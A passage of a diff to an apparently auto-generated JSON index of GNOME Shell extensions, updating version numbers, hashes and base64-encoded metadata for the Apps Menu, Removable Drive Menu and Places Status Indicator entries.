     "46": {"version": "61", "sha256": "0gcalz5gysxqkrglwicjcmf1nq6258zjkmdyhlx41frfrsb1qaw6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcHMuXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhcHBzLW1lbnUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tYXBwcy1tZW51IiwKICAibmFtZSI6ICJBcHBzIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImUyMDAyQGJrLnJ1IiwKICAgICJkZWJhcnNoaXJAZ25vbWUub3JnIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hcHBzLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAiYXBwcy1tZW51QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYxCn0="},
-    "47": {"version": "62", "sha256": "1hk31v3v6j9950ak4xwdy96804sf38p3pawxlm3swrnv6j145qwf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcHMuXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhcHBzLW1lbnUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tYXBwcy1tZW51IiwKICAibmFtZSI6ICJBcHBzIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImUyMDAyQGJrLnJ1IiwKICAgICJkZWJhcnNoaXJAZ25vbWUub3JnIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hcHBzLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAiYXBwcy1tZW51QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYyCn0="},
-    "48": {"version": "64", "sha256": "10p144d04iifrm47lgrkzyhr0w6gr4gwvy5yw9yv7x9na1ygxx88", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcHMuXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhcHBzLW1lbnUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tYXBwcy1tZW51IiwKICAibmFtZSI6ICJBcHBzIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImUyMDAyQGJrLnJ1IiwKICAgICJkZWJhcnNoaXJAZ25vbWUub3JnIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hcHBzLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAiYXBwcy1tZW51QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY0Cn0="}
+    "47": {"version": "66", "sha256": "04m1r678n7grwp27491zfb1nw0j681lis2nv71wl7xs8kvl9irhc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcHMuXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhcHBzLW1lbnUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tYXBwcy1tZW51IiwKICAibmFtZSI6ICJBcHBzIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImUyMDAyQGJrLnJ1IiwKICAgICJkZWJhcnNoaXJAZ25vbWUub3JnIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hcHBzLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAiYXBwcy1tZW51QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY2Cn0="},
+    "48": {"version": "65", "sha256": "06f04hvzihl85r95nlx2dvbayfc0nywdmmdcpn4a9l3f54w8pb97", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIGNhdGVnb3J5LWJhc2VkIG1lbnUgZm9yIGFwcHMuXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhcHBzLW1lbnUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tYXBwcy1tZW51IiwKICAibmFtZSI6ICJBcHBzIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImUyMDAyQGJrLnJ1IiwKICAgICJkZWJhcnNoaXJAZ25vbWUub3JnIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5hcHBzLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAiYXBwcy1tZW51QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY1Cn0="}
   }}
 , {"uuid": "drive-menu@gnome-shell-extensions.gcampax.github.com", "name": "Removable Drive Menu", "pname": "removable-drive-menu", "description": "A status menu for accessing and unmounting removable devices.", "link": "https://extensions.gnome.org/extension/7/removable-drive-menu/", "shell_version_map": {
     "38": {"version": "45", "sha256": "1f5a9md2gxbl65shbdm498y5dwhhqdpj96gvf2m81ad7gsgxzliv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJuYW1lIjogIlJlbW92YWJsZSBEcml2ZSBNZW51IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRyaXZlLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJkcml2ZS1tZW51QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQ1Cn0="},
@@ -55,8 +55,8 @@
     "44": {"version": "53", "sha256": "01wn2icq1cnly9xg7pr2pzk4vqw4l5fhasy5hvq3pq8mbidmdm5s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNTMKfQ=="},
     "45": {"version": "57", "sha256": "1a2j8l2wmxx97snqrj5hs9y0qcjwkv9g00bgr0968h8rpy4fl56y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNTcKfQ=="},
     "46": {"version": "63", "sha256": "1a97r7iz55kvrldn68ksr9da3vp0fqva71jv3jy04yxp57glnmx9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjMKfQ=="},
-    "47": {"version": "64", "sha256": "10pqqq19vwhss87m7l0350ann8kdbhj3zgnr4wq63njifbscwhd2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjQKfQ=="},
-    "48": {"version": "66", "sha256": "00i2hmfsq2cnhmlanf06h3avpchqv1990yswgcpymvkdnw1vmhbv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjYKfQ=="}
+    "47": {"version": "68", "sha256": "1s8rnag8fmgkdk501a52n2awkzwq98skg57ikrdgb43dm16ycj1q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjgKfQ=="},
+    "48": {"version": "67", "sha256": "1c6jnak643yc4qhh6k1bz2iqcp2ggaapc7yr294ivr9ic05f4c70", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIGFjY2Vzc2luZyBhbmQgdW5tb3VudGluZyByZW1vdmFibGUgZGV2aWNlcy4iLAogICJleHRlbnNpb24taWQiOiAiZHJpdmUtbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1kcml2ZS1tZW51IiwKICAibmFtZSI6ICJSZW1vdmFibGUgRHJpdmUgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kcml2ZS1tZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImRyaXZlLW1lbnVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjcKfQ=="}
   }}
 , {"uuid": "places-menu@gnome-shell-extensions.gcampax.github.com", "name": "Places Status Indicator", "pname": "places-status-indicator", "description": "Add a menu for quickly navigating places in the system.\nThis extension is part of Classic Mode and is officially supported by GNOME. Please do not report bugs using the form below, use GNOME's GitLab instance instead.", "link": "https://extensions.gnome.org/extension/8/places-status-indicator/", "shell_version_map": {
     "38": {"version": "48", "sha256": "05m8nkg2km72iwnmadx6f4br8qnzqagp78mlhz8r2z6hp19nqsh5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgIm5hbWUiOiAiUGxhY2VzIFN0YXR1cyBJbmRpY2F0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGxhY2VzLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0OAp9"},
@@ -67,10 +67,10 @@
     "44": {"version": "56", "sha256": "0fc52km2aj7c4n1q6y4yf2l4nzzwawyizi8d6d0b1wrcqa8n64n6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA1Ngp9"},
     "45": {"version": "59", "sha256": "1sai071js4l70mm8cfnr8yavisiy5wbdifkhc9wl4pqj12g33x31", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA1OQp9"},
     "46": {"version": "65", "sha256": "0bmz38lfhvbg86mpiyhj798z7dwr40y16f580dvpa47jdhlnnfa2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA2NQp9"},
-    "47": {"version": "66", "sha256": "0zr5b1s8dvvwj7k0acmsb8rir45djbybka4zvivh7mv2df08k7yl", "metadata": 